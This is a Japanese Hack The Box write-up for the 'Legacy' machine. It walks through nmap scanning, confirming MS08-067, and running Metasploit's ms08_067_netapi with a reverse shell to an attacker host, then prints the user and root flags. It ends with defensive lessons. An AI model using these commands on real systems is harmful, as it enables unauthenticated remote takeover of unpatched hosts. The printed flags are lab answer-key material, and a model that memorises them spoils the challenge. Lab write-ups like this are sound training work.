Hack The BoxのWriteup(Legacy)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Legacy — 全実行コマンド・実行結果レポート
Nmap スキャン
135/139/445のみ
→
Windows XP SP3 特定
smb-os-discovery
→
MS08-067 脆弱性確認
nmap smb-vuln-ms08-067
→
ms08_067_netapi 実行
windows/shell_reverse_tcp
→
NT AUTHORITY\SYSTEM 直取得
shell session
→
user.txt ✓ & root.txt ✓
同時取得(権限昇格不要)

ポートスキャン & OS特定

BASH
nmap -Pn -p 135,139,445 -sV -sC --max-retries 2 10.129.227.181
RESULT
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: LEGACY, ...
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   Workgroup: HTB\x00
🚨
開いているのは SMB 関連の3ポートのみ(Web/SSHなし)。Windows XP という 2014年にサポート終了した非常に古い OS であることが即座に判明し、 既知の重大脆弱性(MS08-067等)の存在を強く疑わせる。
PHASE 2

脆弱性確認 — MS08-067 (CVE-2008-4250)

nmap NSEスクリプトによる脆弱性スキャン

BASH
nmap --script smb-vuln-ms08-067 -p 445 10.129.227.181
RESULT
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3,
|           Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, and 7
|           Pre-Beta allows remote attackers to execute arbitrary code via a
|           crafted RPC request that triggers the overflow during path
|           canonicalization.
|     Disclosure date: 2008-10-23
🚨
MS08-067(srvsvc.dll の NetprPathCanonicalize 関数における パス正規化処理のスタックバッファオーバーフロー)に対して明確に脆弱であることが確認できた。 このRPC関数は未認証で呼び出し可能なため、認証情報を一切持たずに リモートコード実行が可能な極めて深刻な脆弱性。2008年に大規模ワーム(Conficker)の 感染経路としても悪用された。
PHASE 3

Metasploit ms08_067_netapi によるエクスプロイト

モジュール設定

BASH (msfconsole)
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 10.129.227.181
set LHOST 10.10.15.200
set LPORT 4447
set PAYLOAD windows/shell_reverse_tcp
set TARGET 0
run -j
⚠️
重要: meterpreter ではなく windows/shell_reverse_tcp(素の cmd.exe シェル) を使うこと。 このターゲットの Windows XP 環境では meterpreter の stdapi_sys_process_execute 系API呼び出しが壊れており、 cat・download・execute -f cmd.exe 等がいずれも “The system cannot find the file specified” エラーで失敗する。plain shell セッションであれば sessions -i <id> -c "CMD" が標準入力への直接送信として機能し安定する。
ℹ️
TARGET 0(Automatic)はターゲットへの軽量な事前フィンガープリントを行い、 検出できた Service Pack に応じて内部的に正しいターゲット(Windows XP SP3 English AlwaysOn NX 等)へ自動的に切り替える。本リモートRPCベースの自動検出は、対象の srvsvc サービスが(繰り返しのエクスプロイトでクラッシュ・再起動を経た後などに) 応答の揺らぎを見せることがあり、その場合は show targets で確認できる 具体的な SP バージョンのターゲット番号を明示的に指定するとよい。

エクスプロイト実行 & セッション確立

RESULT (msfconsole 実出力)
[*] Started reverse TCP handler on 10.10.15.200:4447
[*] 10.129.227.181:445 - Automatically detecting the target...
[*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.227.181:445 - Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (10.10.15.200:4447 -> 10.129.227.181:1032)
BASH
sessions
RESULT
Active sessions
===============

  Id  Name  Type               Information
  --  ----  ----               -----------
  1         shell x86/windows  Shell Banner: Microsoft Windows XP [Version 5.1.2600] -----
✅
一撃で NT AUTHORITY\SYSTEM シェル取得成功! バッファオーバーフローを突いた リモートコード実行であるため、権限昇格の手順は一切不要 — 最初からシステム最高権限で コードが実行される。
PHASE 4

user.txt & root.txt の取得

user.txt

BASH
sessions -i 1 -c "type \"C:\Documents and Settings\john\Desktop\user.txt\""
RESULT
[*] Running 'type "C:\Documents and Settings\john\Desktop\user.txt"' on shell session 1
type "C:\Documents and Settings\john\Desktop\user.txt"
e69af0e4f443de7e36876fda4ec7644f
C:\WINDOWS\system32>
user.txt — john@legacy
e69af0e4f443de7e36876fda4ec7644f

root.txt

BASH
sessions -i 1 -c "type \"C:\Documents and Settings\Administrator\Desktop\root.txt\""
RESULT
[*] Running 'type "C:\Documents and Settings\Administrator\Desktop\root.txt"' on shell session 1
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
993442d258b0e0ec917cae9e695d5713
C:\WINDOWS\system32>
root.txt — Administrator@legacy
993442d258b0e0ec917cae9e695d5713
ℹ️
John/Administrator どちらのデスクトップにも直接アクセスできる — MS08-067 の エクスプロイトはそもそも NT AUTHORITY\SYSTEM(全ユーザーのファイルを 含む OS 上の最高権限)としてコードを実行するため、user.txt と root.txt を 区別する「権限昇格」というフェーズ自体が存在しない。

セッションクリーンアップ

BASH
sessions -K   # 全セッションを終了
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — john@legacy
e69af0e4f443de7e36876fda4ec7644f
root.txt — Administrator@legacy
993442d258b0e0ec917cae9e695d5713

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
MS08-067 / CVE-2008-4250 srvsvc.dll (NetprPathCanonicalize) 未認証リモートコード実行(SYSTEM権限) Critical Metasploit exploit/windows/smb/ms08_067_netapi で、細工したRPCリクエストが パス正規化処理中にスタックバッファオーバーフローを誘発。認証不要で NT AUTHORITY\SYSTEM を一撃で取得、user.txt / root.txt を同時取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(135/139/445)+smb-os-discoveryWindows XP, hostname: legacy
2脆弱性確認nmap –script smb-vuln-ms08-067MS08-067 LIKELY VULNERABLE
3エクスプロイトms08_067_netapi + windows/shell_reverse_tcpNT AUTHORITY\SYSTEM シェル
4フラグ取得type コマンドで直接読取user.txt & root.txt(同時取得)

学んだ教訓 & 防御策

問題点防御策
サポート終了(EOL)したWindows XPが稼働し続けている EOL OSは速やかに退役・移行する。やむを得ず稼働させる場合はネットワーク 分離(VLAN隔離等)で外部からのSMBアクセスを完全に遮断する。
2008年公開の既知脆弱性(MS08-067)に対する修正パッチが未適用 パッチ管理プロセスを整備し、重大度Criticalの脆弱性は公開後速やかに適用する。 WSUS等での一元的なパッチ配信を行う。
SMB(445番ポート)が未認証でインターネット/信頼できないネットワークに公開されている SMBは本来LAN内専用プロトコルであり、ファイアウォールで外部からの 135/139/445番ポートへのアクセスを遮断する。
単一の脆弱性でSYSTEM権限まで到達できる(多層防御の欠如) EDR/IDSによる異常なRPCリクエストパターンの検知、最小権限の原則での サービスアカウント運用、ネットワークセグメンテーションで被害範囲を限定する。
HackTheBox: Legacy | 完全攻略レポート